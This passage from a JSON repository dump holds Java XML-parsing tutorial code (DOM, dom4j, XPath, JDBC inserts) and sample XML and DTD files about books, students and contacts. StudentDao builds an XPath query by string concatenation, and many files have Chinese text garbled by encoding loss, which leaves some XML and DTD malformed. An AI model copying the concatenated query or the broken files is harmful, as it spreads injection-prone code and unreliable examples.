    "content": "\n\nimport java.io.File;\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\n\n\n\n\n/**\n * 讲XML文件导入到数据库\n * @author Wujun\n *\n */\npublic class XMLToDatabaseWithDom {\n\t\n\t\n\t\n\t\n\t/**\n\t * 讲 学生XML文件导入到数据库中\n\t */\n\tpublic void toDatabase(){\n\t\tConnection connection=null;\n\t\tPreparedStatement statement=null;\n\t\tResultSet rs=null;\n\t\tconnection=JDBCUtilSingle.getInitJDBCUtil().getConnection();\n\t\tString sql=\"INSERT INTO `xmlanddb`.`student` (`number`, `name`, `date`, `height`) VALUES (?,?,?,?);\";\n\t\ttry {\t\n\t\t\tstatement=connection.prepareStatement(sql);\n\t\t\tDocumentBuilderFactory factory=DocumentBuilderFactory.newInstance();\n\t\t    factory.setIgnoringElementContentWhitespace(true);  //忽略空白缩进\n\t\t\tDocumentBuilder domParser=factory.newDocumentBuilder();\n\t\t\tDocument document=domParser.parse(new File(\"student2.xml\")); //通过已经存在的文件创建Document对象\n\t\t\tElement root=document.getDocumentElement();\n\t\t\tNodeList list1=root.getElementsByTagName(\"学号\");\n\t\t\tNodeList list2=root.getElementsByTagName(\"姓名\");\n\t\t\tNodeList list3=root.getElementsByTagName(\"出生日期\");\n\t\t\tNodeList list4=root.getElementsByTagName(\"身高\");\n\t\t\tint size=list1.getLength(); //获取长度\n\t\t\tString[] number=new String[4];\n\t\t\tString[] name=new String[4];\n\t\t\tString[] date=new String[4];\n\t\t\tdouble[] height=new double[4];\n\t\t\tfor(int k=0;k<size;k++){\n\t\t\t\tNode numberNode=list1.item(k);\n\t\t\t\tNode nameNode=list2.item(k);\n\t\t\t\tNode dateNode=list3.item(k);\n\t\t\t\tNode heightNode=list4.item(k);\n\t\t\t\tnumber[k]=numberNode.getTextContent().trim();\n\t\t\t\tname[k]=nameNode.getTextContent().trim();\n\t\t\t\tdate[k]=dateNode.getTextContent().trim();\n\t\t\t\theight[k]=Double.parseDouble(heightNode.getTextContent().trim());\n\t\t\t\tstatement.setString(1, number[k]);\n\t\t\t\tstatement.setString(2, name[k]);\n\t\t\t\tstatement.setString(3, date[k]);\n\t\t\t\tstatement.setDouble(4, height[k]);\n\t\t\t\tstatement.executeUpdate();\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t} finally{\n\t\t\tJDBCUtilSingle.getInitJDBCUtil().closeConnection(rs, statement, connection);\n\t\t}\n\t}\n\t\n\t\n\t\n\t/**\n\t * 读取数据库中的数据\n\t */\n\tpublic void getItemFromDatabase(){\n\t\tConnection connection=null;\n\t\tPreparedStatement statement=null;\n\t\tResultSet rs=null;\n\t\tconnection=JDBCUtilSingle.getInitJDBCUtil().getConnection();\n\t\tString sql=\"SELECT * FROM `student` \";\n\t\ttry {\n\t\t\tstatement=connection.prepareStatement(sql);\n\t\t\trs=statement.executeQuery();\n\t\t\twhile(rs.next()){\n\t\t\t\tSystem.out.println(rs.getString(1)+rs.getString(2)+rs.getString(3)+rs.getDouble(4));\n\t\t    }\n\t\t} catch (SQLException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t\n\t}\n\t\n\t\n\tpublic static void main(String[] args){\n\t\t\t//new XMLToDatabase().toDatabase();\n\t\t\tnew XMLToDatabaseWithDom().getItemFromDatabase();\n\t}\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/book.dtd",
    "content": "<?xml version=\"1.0\" encoding=\"GBK\"?> \n<!ELEMENT 鼮б (鼮)* >\n<!ELEMENT 鼮 ((, ۸)+, +, Ա?, (ַ|绰), , hr) >\n<!ELEMENT  (#PCDATA) >\n<!ELEMENT ۸ (#PCDATA) >\n<!ELEMENT  (#PCDATA) >\n<!ELEMENT  (#PCDATA) >\n<!ELEMENT Ա (#PCDATA) >\n<!ELEMENT ַ (#PCDATA) >\n<!ELEMENT 绰 (#PCDATA) >\n<!ELEMENT hr EMPTY>\n<!ATTLIST \n\tԱ ( | Ů) \"\"\n\t CDATA #IMPLIED\n\tϵ绰 CDATA #REQUIRED\n\tְ CDATA #FIXED \"\"\n\t˰ CDATA \"\"\n>\n\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/book.xml",
    "content": "<?xml version=\"1.0\" encoding=\"gbk\"?>\n<ҵ>\n<CDб>\n\t<name>jackson</name>\n\t<price>34</price>\n</CDб>\n<鼮б>\n    <鼮><!-- һע -->\n       < hot=\"false\" lang=\"zh\">&lt;&lt;xmlǰ&gt;&gt;</>\n       <۸>55.00</۸>\n       <> <![CDATA[һ<name><<xml>>]]> </>\n    </鼮>\n    <鼮>\n       <>&lt;&lt;thinking in java&gt;&gt;</>\n       <> java˼</>\n       <۸>40.00</۸>\n    </鼮>\n    <С˵>\n       <>˲</>\n       <۸>89.00</۸>\n       <>һ</>\n    </С˵>\n</鼮б>\n</ҵ>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/books(2).xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<bookstore>\n    <book id=\"1\">\n        <name>冰与火之歌</name>\n        <author>乔治马丁</author>\n        <year>2014</year>\n        <price>89</price>\n    </book>\n    <book id=\"2\">\n        <name>安徒生童话</name>\n        <year>2004</year>\n        <price>77</price>\n        <language>English</language>\n    </book>    \n</bookstore>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/books.xml",
    "content": "<?xml version=\"1.0\" encoding=\"GBK\"?>\n\n<bookstore>\n\t<book category=\"\">\n\t\t<title lang=\"zh\">˲</title>\n\t\t<author>ӹ</author>\n\t\t<year>1965</year>\n\t\t<price>65.00</price>\n\t</book>\n\t<book category=\"\">\n\t\t<title lang=\"zh\">ѩɽɺ</title>\n\t\t<author>ӹ</author>\n\t\t<year>1969</year>\n\t\t<price>55.00</price>\n\t</book>\n\t\n\t<book category=\"\">\n\t\t<title lang=\"zh\">µ</title>\n\t\t<author></author>\n\t\t<year>1976</year>\n\t\t<price>40.00</price>\n\t</book>\n\n\t<book category=\"ƻ\">\n\t\t<title lang=\"en\">Harry Potter</title>\n\t\t<author>J K. Rowling</author>\n\t\t<year>2005</year>\n\t\t<price>29.99</price>\n\t</book>\n\n\t<book category=\"WEB\">\n\t\t<title lang=\"en\">XQuery Kick Start</title>\n\t\t<author>James McGovern</author>\n\t\t<author>Per Bothner</author>\n\t\t<author>Kurt Cagle</author>\n\t\t<author>James Linn</author>\n\t\t<author>Vaidyanathan Nagarajan</author>\n\t\t<year>2003</year>\n\t\t<price>49.99</price>\n\t</book>\n\n\t<book category=\"WEB\">\n\t\t<title lang=\"en\">Learning XML</title>\n\t\t<author>Erik T. Ray</author>\n\t\t<year>2003</year>\n\t\t<price>39.95</price>\n\t</book>\n\n</bookstore>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/com/java/plugin/xml/rw/dao/StudentDao.java",
    "content": "package com.java.plugin.xml.rw.dao;\n\nimport java.util.List;\n\nimport org.dom4j.Document;\nimport org.dom4j.Element;\nimport org.dom4j.Node;\n\nimport com.java.plugin.xml.rw.domain.Student;\nimport com.java.plugin.xml.rw.util.Dom4jUtil;\n\npublic class StudentDao {\n\t\n\tpublic boolean addStudent(Student stu){\n\t\tboolean flag = false;\n\t\ttry {\n\t\t\t//1.�õ�Document����\n\t\t\tDocument document = Dom4jUtil.getDocument();\n\t\t\t//2.����µ�student���\n\t\t\tElement root = document.getRootElement();\n\t\t\tElement studentEle = root.addElement(\"student\").addAttribute(\"idcard\", stu.getIdcard())\n\t\t\t\t.addAttribute(\"examid\", stu.getExamid());\n\t\t\t//3.��stuEle������ӽ��\n\t\t\tstudentEle.addElement(\"name\").setText(stu.getName());\n\t\t\tstudentEle.addElement(\"location\").setText(stu.getLocation());\n\t\t\tstudentEle.addElement(\"grade\").setText(stu.getGrade()+\"\");\n\t\t\t\n\t\t\t\n\t\t\t//4.д��\n\t\t\tDom4jUtil.write2Xml(document);\n\t\t\tflag = true;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn flag;\n\t\t\n\t}\n\n\tpublic Student findStudentByExamid(String examid){\n\t\tStudent stu = null;\n\t\ttry {\n\t\t\tDocument document = Dom4jUtil.getDocument();\n\t\t\tNode stuNode = document.selectSingleNode(\"//student[@examid='\"+examid+\"']\");\n\t\t\tif(stuNode!=null){\n\t\t\t\tElement ele= (Element)stuNode;\n\t\t\t\tstu = new Student();\n\t\t\t\tstu.setIdcard(ele.attributeValue(\"idcard\"));\n\t\t\t\tstu.setExamid(examid);\n\t\t\t\tstu.setName(ele.elementText(\"name\"));\n\t\t\t\tstu.setLocation(ele.elementText(\"location\"));\n\t\t\t\tstu.setGrade(Double.parseDouble(ele.elementText(\"grade\")));\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn stu;\n\t}\n\n\tpublic void deleteStudentByName(String name){\n\t\tDocument document;\n\t\ttry {\n\t\t\tdocument = Dom4jUtil.getDocument();\n\t\t\tList<Node> list = document.selectNodes(\"//student/name\");\n\t\t\tfor(Node node:list){\n\t\t\t\tif(node instanceof Element){\n\t\t\t\t\tElement ele = (Element)node;\n\t\t\t\t\tif(ele.getText().equals(name)){\n\t\t\t\t\t\tElement examNode = ele.getParent().getParent();\n\t\t\t\t\t\texamNode.remove(ele.getParent());\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tDom4jUtil.write2Xml(document);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/com/java/plugin/xml/rw/domain/Student.java",
    "content": "package com.java.plugin.xml.rw.domain;\n\npublic class Student {\n  private String idcard;\n  private String examid;\n  private String name;\n  private String location;\n  private double grade;\n  \n  \npublic Student(String idcard, String examid, String name, String location,\n\t\tdouble grade) {\n\tsuper();\n\tthis.idcard = idcard;\n\tthis.examid = examid;\n\tthis.name = name;\n\tthis.location = location;\n\tthis.grade = grade;\n}\n\n\npublic Student() {\n\tsuper();\n}\n\npublic String toString() {\n\treturn \"Student [idcard=\" + idcard + \", examid=\" + examid + \", name=\"\n\t\t\t+ name + \", location=\" + location + \", grade=\" + grade + \"]\";\n}\n\n\npublic String getIdcard() {\n\treturn idcard;\n}\npublic void setIdcard(String idcard) {\n\tthis.idcard = idcard;\n}\npublic String getExamid() {\n\treturn examid;\n}\npublic void setExamid(String examid) {\n\tthis.examid = examid;\n}\npublic String getName() {\n\treturn name;\n}\npublic void setName(String name) {\n\tthis.name = name;\n}\npublic String getLocation() {\n\treturn location;\n}\npublic void setLocation(String location) {\n\tthis.location = location;\n}\npublic double getGrade() {\n\treturn grade;\n}\npublic void setGrade(double grade) {\n\tthis.grade = grade;\n}\n  \n  \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/com/java/plugin/xml/rw/test/Test1.java",
    "content": "package com.java.plugin.xml.rw.test;\n\nimport junit.framework.Assert;\n\nimport org.junit.Test;\n\nimport com.java.plugin.xml.rw.dao.StudentDao;\nimport com.java.plugin.xml.rw.domain.Student;\n\npublic class Test1 {\n\t\n\tStudentDao dao = new StudentDao();\n\n//\t@Test\n\tpublic void add(){\n\t\tStudent stu = new Student(\"100\",\"1200\",\"�żҸ�\",\"�żҽ�1\",100);\n\t\tboolean flag = dao.addStudent(stu);\n\t\tAssert.assertEquals(true, flag);\n\t}\n\t\n\t@Test\n\tpublic void findStudent(){\n\t\tString str=\"1200\";\n\t\tStudent stu = dao.findStudentByExamid(str);\n\t\tSystem.out.println(stu);\n\t}\n\t@Test\n\tpublic void updateStudent(){\n\t\tString str=\"1200\";\n\t\tStudent stu = dao.findStudentByExamid(str);\n\t\tSystem.out.println(stu);\n\t}\n\t\n//\t@Test\n\tpublic void deleteStudent(){\n\t\tString name =\"�żҸ�\";\n\t\tdao.deleteStudentByName(name);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/com/java/plugin/xml/rw/util/Dom4jUtil.java",
    "content": "package com.java.plugin.xml.rw.util;\n\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.UnsupportedEncodingException;\n\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.io.OutputFormat;\nimport org.dom4j.io.SAXReader;\nimport org.dom4j.io.XMLWriter;\n\npublic class Dom4jUtil {\n\n\t//1.���ڵõ�Document\n\tpublic static Document getDocument() throws Exception{\n\t\t//1.�õ�SAXReader��ȡ��\n\t\tSAXReader reader = new SAXReader();\n\t\tDocument document = reader.read(\"src/exam.xml\");\n\t\treturn document;\n\t}\n\t\n\t//2.д��xml\n\tpublic static void write2Xml(Document document) throws Exception{\n\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(\"src/exam.xml\"), format);\n\t\twriter.write(document);\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/dom-modify.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<university name=\"tsu\">\n    \n    \n    <college name=\"c3\">\n    <class name=\"c4\"/>\n    </college>\n    <college name=\"c5\">text</college>\n</university>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/dom4j/BuildXml.java",
    "content": "package dom4j;\n\nimport java.io.*;\nimport java.util.*;\nimport org.dom4j.*;\nimport org.dom4j.io.*;\n\npublic class BuildXml {\n\tpublic static void main(String[] args) {\n\t\tBuildXml xml = new BuildXml();\n\t\tString fileName = \"src/student.xml\";\n\t\tString[] studentName = { \"\", \"ľ\", \"\", \"\", \"\" };\n\t\tString[] courseName = { \"\", \"\", \"\", \"ֻ\" };\n\t\txml.buildXml\n    (fileName, studentName, courseName);\n\t}\n\tpublic void buildXml(String fileName, \n      String[] studentName,\n\t\t\tString[] courseName) {\n\t\t// doc\n\t\tDocument doc = \n      DocumentHelper.createDocument();\n\t\t// xmlĵRecord\n\t\tElement recordElement = \n      doc.addElement(\"Record\");\n    \n\t\t// ΪRecordһHeadڵ\n\t\tElement headElement = \n      recordElement.addElement(\"Head\");\n\t\t// ΪRecordһbodyڵ\n\t\tElement bodyElement = \n      recordElement.addElement(\"Body\");\n    \n\t\t// ΪHeadڵһЩӽڵ\n\t\tElement codeEl = \n      headElement.addElement(\"Code\");\n\t\tcodeEl.setText(\"SD1101\");\n\t\tElement examEl = \n      headElement.addElement(\"Exam\");\n\t\texamEl.setText(\"\");\n\t\t// ñķӽڵ\n\t\taddParamList\n    (bodyElement, courseName, studentName); \n\t\t// ʽxmlĵ\n\t\ttry {\n\t\t\tFileWriter fileWriter = \n        new FileWriter(fileName);\n\t\t\t// ˴xmlļĸʽΪ\n\t\t\tOutputFormat xmlFormat = \n        OutputFormat.createPrettyPrint();\n\t\t\t// ļʽ\n\t\t\txmlFormat.setEncoding(\"gbk\");\n\t\t\t// дļ,ļ,ʽ\n\t\t\tXMLWriter xmlWriter = \n        new XMLWriter(fileWriter, xmlFormat);\n\t\t\t// docĵдļ\n\t\t\txmlWriter.write(doc);\n\t\t\t// ر\n\t\t\txmlWriter.close();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n\tprivate void addParamList(\n      Element bodyEl, String[] courseName,\n\t\t\tString[] studentName) {\n\t\t/** жֿγ̾Ͳٸ */\n\t\tfor (int i = 0; i < courseName.length;\n    i++) {\n\t\t\tElement courseList = \n        bodyEl.addElement(\"CourseList\");\n\t\t\tElement sheehEl = \n        courseList.addElement(\"CourseCode\");\n\t\t\tsheehEl.setText(courseName[i]);\n\t\t\t/** ÿѧѡȫγ */\n\t\t\taddItem(studentName, courseList);\n\t\t}\n\t}\n\n\tprivate void addItem(\n      String[] studentName, \n      Element courseList) {\n\t\tElement studentEl = \n      courseList.addElement(\"Student\");\n\t\tfor (int i = 0; i < studentName.length;\n    i++) {\n\t\t\tElement studentNameEl = \n        studentEl.addElement(\"StudentName\");\n\t\t\tstudentNameEl.setText(studentName[i]);\n\n\t\t\tstudentNameEl.\n      addAttribute(\"score\", \n          new Random().nextInt(100) + \"\");\n\t\t}\n\t}\n}\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/dom4j/ReadXml.java",
    "content": "package dom4j;\n\nimport org.dom4j.*;\nimport org.dom4j.io.*;\nimport java.util.*;\nimport java.io.*;\n\npublic class ReadXml {\n\n  public static void main(String args[]) throws DocumentException {\n    String fileName = \n      \"src/dom4j/book.xml\";\n    ReadXml test = new ReadXml();\n    //Document\n    Document doc = test.read(fileName);\n    //øԪ\n    Element root = test.getRootElement(doc);\n    //Ԫµļ鼮\n    test.list(root);\n  }\n\n  // ļȡXMLļXMLĵ\n  public Document read(String fileName) \n  throws DocumentException {\n    SAXReader reader = new SAXReader();\n    Document document = \n      reader.read(new File(fileName));\n    return document;\n  }\n\n  public Element getRootElement(Document doc) {\n    return doc.getRootElement();\n  }\n\n  public void list(Element root) {\n    // Ϊ鼮Ľڵ\n    for (Iterator i = \n      root.elementIterator(\"鼮\"); \n    i.hasNext();) {\n      Element book = (Element) i.next();\n      // 鼮\n      for (Iterator it = \n        book.attributeIterator(); \n      it.hasNext();) {\n        Attribute attribute = \n          (Attribute) it.next();\n        System.out.println(\n            attribute.getName() \n            + \":\" + attribute.getValue());\n      }\n\n      String bookname = \n        book.elementText(\"\");\n      String author = \n        book.elementText(\"\");\n      String price = \n        book.elementText(\"۸\");\n      \n      /*String sql = \"insert into book\" + \n       *\" values(?,?,?)\";\n       *stmt = conn.prepareStatement(sql);\n       *stmt.setString(1, bookname);\n       *stmt.setString(2, author);\n       *stmt.setString(3, price);\n       *stmt.executeUpdate();\n      */\n      \n      \n      \n      System.out.println(bookname);\n      System.out.println(book.elementText(\"۸\"));\n      System.out.println(book.elementText(\"\"));\n\n      // 鼮ӽڵ㡰ߡ\n      for (Iterator it = \n        book.element(\"\").attributeIterator(); \n      it.hasNext();) {\n        Attribute attribute = \n          (Attribute) it.next();\n        System.out.println(attribute.getName() \n            + \":\" + attribute.getValue());\n      }\n      System.out.println(book.elementText(\"\"));\n    }\n  }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/dom4j/TestXpath.java",
    "content": "package dom4j;\n\nimport org.dom4j.io.*;\nimport org.dom4j.*;\nimport java.util.*;\n\npublic class TestXpath {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t//new TestXpath().findBooks();\n\t\tnew TestXpath().findBooksByTitle();\n\t}\n\n\tpublic void findBooks() {\n\t\tSAXReader reader = new SAXReader();\n\t\ttry {\n\t\t\tDocument doc = \n        reader.read(\"src/books.xml\");\n\t\t\tNode root = \n        doc.selectSingleNode(\"/bookstore\");\n      //root.selectNodes(\"book[author='']\");\n      //root.selectNodes(\"book[price<40]\");\n      //root.selectNodes(\"book[@category='WEB']\");\n\t\t\t//root.selectNodes(\"book[title[@lang='zh']]\");\n\t\t\t//root.selectNodes(\"book[author='ӹ' and price>50]\");\n\t\t\t//root.selectNodes(\"book[title[@lang='zh'] and price>50]\");\n      //root.selectNodes(\"book[author='ӹ' or author='']\");\n      List list = \n        root.selectNodes(\"book[title='˲']\");\n\t\t\tfor (Object o : list) {\n\t\t\t\tElement e = (Element) o;//e = book\n\t\t\t\tSystem.out.println(e.elementText(\"title\"));\n\t\t\t\tSystem.out.println(e.elementText(\"author\"));\n\t\t\t\tSystem.out.println(e.elementText(\"year\"));\n\t\t\t\tSystem.out.println(e.elementText(\"price\"));\n\t\t\t\tString show = \n          e.element(\"title\")\n          .attributeValue(\"lang\");\n\t\t\t\tSystem.out.println(\"lang = \" \n            + show + \"\\n\");\n\t\t\t}\n\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic void findBooksByTitle() {\n\t\tSAXReader reader = new SAXReader();\n\t\ttry {\n\t\t\tDocument doc = \n        reader.read(\"src/books.xml\");\n\t\t\tNode root = \n        doc.selectSingleNode(\"/bookstore\");\n\t\t\tList list = \n        root.\n        selectNodes(\"book/title[@lang='zh']\");\n\t\t\tfor (Object o : list) {\n\t\t\t\tElement e = (Element) o;//e = title\n\t\t\t\tSystem.out.println(e.getStringValue());\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/dom4j/book.xml",
    "content": "<?xml version=\"1.0\" encoding=\"GB2312\"?> \n <鼮б>\n\t<鼮 hot=\"true\" id=\"isbn1234\">\n\t\t<>XMLĽ</>         \n\t\t<۸>66.66</۸>\n\t\t< 绰=\"123456\" ַ=\"beijing\">bruce eckel</>\n        <>ϸдXMLĴӳ˥ϵ</>\n  \t</鼮>\n  \t<鼮 hot=\"false\" id=\"isbn2345\">\n\t\t<>21쾫ͨXXX</>         \n\t\t<۸>56.00</۸>\n\t\t< 绰=\"1234\" ַ=\"tianjin\">****</>\n        <>˵˵</>\n  \t</鼮>\n </鼮б>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/dom4j/books.xml",
    "content": "<?xml version=\"1.0\" encoding=\"GBK\"?>\n\n<bookstore>\n\n\t<book category=\"\">\n\t\t<title lang=\"zh\">˲</title>\n\t\t<author>ӹ</author>\n\t\t<year>1965</year>\n\t\t<price>65.00</price>\n\t</book>\n\t\n\t<book category=\"\">\n\t\t<title lang=\"zh\">µ</title>\n\t\t<author></author>\n\t\t<year>1976</year>\n\t\t<price>40.00</price>\n\t</book>\n\n\t<book category=\"ƻ\">\n\t\t<title lang=\"en\">Harry Potter</title>\n\t\t<author>J K. Rowling</author>\n\t\t<year>2005</year>\n\t\t<price>29.99</price>\n\t</book>\n\n\t<book category=\"WEB\">\n\t\t<title lang=\"en\">XQuery Kick Start</title>\n\t\t<author>James McGovern</author>\n\t\t<author>Per Bothner</author>\n\t\t<author>Kurt Cagle</author>\n\t\t<author>James Linn</author>\n\t\t<author>Vaidyanathan Nagarajan</author>\n\t\t<year>2003</year>\n\t\t<price>49.99</price>\n\t</book>\n\n\t<book category=\"WEB\">\n\t\t<title lang=\"en\">Learning XML</title>\n\t\t<author>Erik T. Ray</author>\n\t\t<year>2003</year>\n\t\t<price>39.95</price>\n\t</book>\n\n</bookstore>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/dom4j/student.xml",
    "content": "<?xml version=\"1.0\" encoding=\"gbk\"?>\n\n<Record>\n  <Head>\n    <Code>SD1101</Code>\n    <Exam></Exam>\n  </Head>\n  <Body>\n    <CourseList>\n      <CourseCode></CourseCode>\n      <Student>\n      <StudentName></StudentName>\n      <StudentName></StudentName>\n      <StudentName>...</StudentName>\n      <StudentName>...</StudentName>\n      </Student>\n      \n    </CourseList>\n    <CourseList>\n      <CourseCode></CourseCode>\n      <Student>\n        <StudentName score=\"15\"></StudentName>\n        <StudentName score=\"56\">ľ</StudentName>\n        <StudentName score=\"25\"></StudentName>\n        <StudentName score=\"81\"></StudentName>\n      </Student>\n    </CourseList>\n    <CourseList>\n      <CourseCode></CourseCode>\n      <Student>\n        <StudentName score=\"58\"></StudentName>\n        <StudentName score=\"38\">ľ</StudentName>\n        <StudentName score=\"54\"></StudentName>\n        <StudentName score=\"33\"></StudentName>\n      </Student>\n    </CourseList>\n  </Body>\n</Record>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/dom4j-modify.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<university name=\"tsu\"><!--这个是根节点--><college name=\"cccccc\">text</college></university>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/dtd-2-3.xml",
    "content": "<?xml version=\"1.0\" encoding=\"GB2312\"?>\n<!DOCTYPE  [\n\t<!ELEMENT  ANY>\n\t<!ELEMENT  EMPTY>\n\t<!ATTLIST \n\t ( | ţ |  | ) \"\"\n>\n]>\n<>\n\t< =\"\"/>\n\t< =\"ţ\"/>\n\t</>\n</>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/exam.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<exam> \n  <student idcard=\"111\" examid=\"222\"> \n    <name>张三</name>  \n    <location>沈阳</location>  \n    <grade>89</grade> \n  </student>  \n  <student idcard=\"333\" examid=\"444\"> \n    <name>李四</name>  \n    <location>大连</location>  \n    <grade>97</grade> \n  </student>  \n  <student idcard=\"100\" examid=\"1200\"> \n    <name>张家港</name>  \n    <location>张家界1</location>  \n    <grade>100.0</grade> \n  </student>  \n  <student idcard=\"100\" examid=\"1200\"> \n    <name>张家港</name>  \n    <location>张家界1</location>  \n    <grade>100.0</grade> \n  </student> \n</exam>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/jdom-modify.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<university name=\"tsu\">\n    \n    \n    \n<college name=\"new_college\"><class name=\"ccccc\" /></college></university>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/linkmans.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<linkmans>\n\t<linkman id=\"001\">\n\t    <linkman id=\"002\">\n\t\t\t<name>李四</name>\n\t\t\t<phone>1353243247</phone>\n\t\t\t<email>zs@126.com</email>\n\t    </linkman>\n\t\t<name>jack</name>\n\t\t<phone>18663243245</phone>\n\t\t<email>jack@163.com</email>\n\t</linkman>\n\t<linkman>\n\t\t<name>焦宁波</name>\n\t\t<phone>186xxxxxxxxx</phone>\n\t\t<email>jnb@itcast.cn</email>\n\t</linkman>\n</linkmans>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/mytest.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<university name=\"pku\">\n    <college name=\"c1\">\n        <class name=\"class1\">\n            <student name=\"stu1\" sex=\"可以来个中文吗\" age=\"21\"/>\n            <student name=\"stu2\" sex=\"female\" age=\"20\"/>\n            <student name=\"stu3\" sex=\"female\" age=\"20\"/>\n        </class>\n        <class name=\"class2\">\n            <student name=\"stu4\" sex=\"male\" age=\"19\"/>\n            <student name=\"stu5\" sex=\"female\" age=\"20\"/>\n            <student name=\"stu6\" sex=\"female\" age=\"21\"/>\n        </class>\n    </college>\n    <college name=\"c2\">\n        <class name=\"class3\">\n            <student name=\"stu7\" sex=\"male\" age=\"20\"/>\n        </class>\n    </college>\n    <college name=\"c3\">\n    </college>\n</university>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/newXML2.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?><学生信息><学生><学号>1</学号><姓名>licheng</姓名><出生日期>2014-03-05</出生日期><身高>0.0</身高></学生><学生><学号>001</学号><姓名>张三</姓名><出生日期>1995-12-12</出生日期><身高>1.75</身高></学生><学生><学号>002</学号><姓名>李四</姓名><出生日期>1995-12-12</出生日期><身高>1.45</身高></学生><学生><学号>003</学号><姓名>王五</姓名><出生日期>1995-12-12</出生日期><身高>1.56</身高></学生><学生><学号>004</学号><姓名>赵六</姓名><出生日期>1995-12-12</出生日期><身高>1.78</身高></学生><学生><学号>001</学号><姓名>张三</姓名><出生日期>1995-12-12</出生日期><身高>1.75</身高></学生><学生><学号>002</学号><姓名>李四</姓名><出生日期>1995-12-12</出生日期><身高>1.45</身高></学生><学生><学号>003</学号><姓名>王五</姓名><出生日期>1995-12-12</出生日期><身高>1.56</身高></学生><学生><学号>004</学号><姓名>赵六</姓名><出生日期>1995-12-12</出生日期><身高>1.78</身高></学生><学生><学号>001</学号><姓名>张三</姓名><出生日期>1995-12-12</出生日期><身高>1.75</身高></学生><学生><学号>002</学号><姓名>李四</姓名><出生日期>1995-12-12</出生日期><身高>1.45</身高></学生><学生><学号>003</学号><姓名>王五</姓名><出生日期>1995-12-12</出生日期><身高>1.56</身高></学生><学生><学号>004</学号><姓名>赵六</姓名><出生日期>1995-12-12</出生日期><身高>1.78</身高></学生><学生><学号>001</学号><姓名>张三</姓名><出生日期>1995-12-12</出生日期><身高>1.75</身高></学生><学生><学号>002</学号><姓名>李四</姓名><出生日期>1995-12-12</出生日期><身高>1.45</身高></学生><学生><学号>003</学号><姓名>王五</姓名><出生日期>1995-12-12</出生日期><身高>1.56</身高></学生><学生><学号>004</学号><姓名>赵六</姓名><出生日期>1995-12-12</出生日期><身高>1.78</身高></学生><学生><学号>001</学号><姓名>张三</姓名><出生日期>1995-12-12</出生日期><身高>1.75</身高></学生><学生><学号>002</学号><姓名>李四</姓名><出生日期>1995-12-12</出生日期><身高>1.45</身高></学生><学生><学号>003</学号><姓名>王五</姓名><出生日期>1995-12-12</出生日期><身高>1.56</身高></学生><学生><学号>004</学号><姓名>赵六</姓名><出生日期>1995-12-12</出生日期><身高>1.78</身高></学生></学生信息>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/student(2).xml",
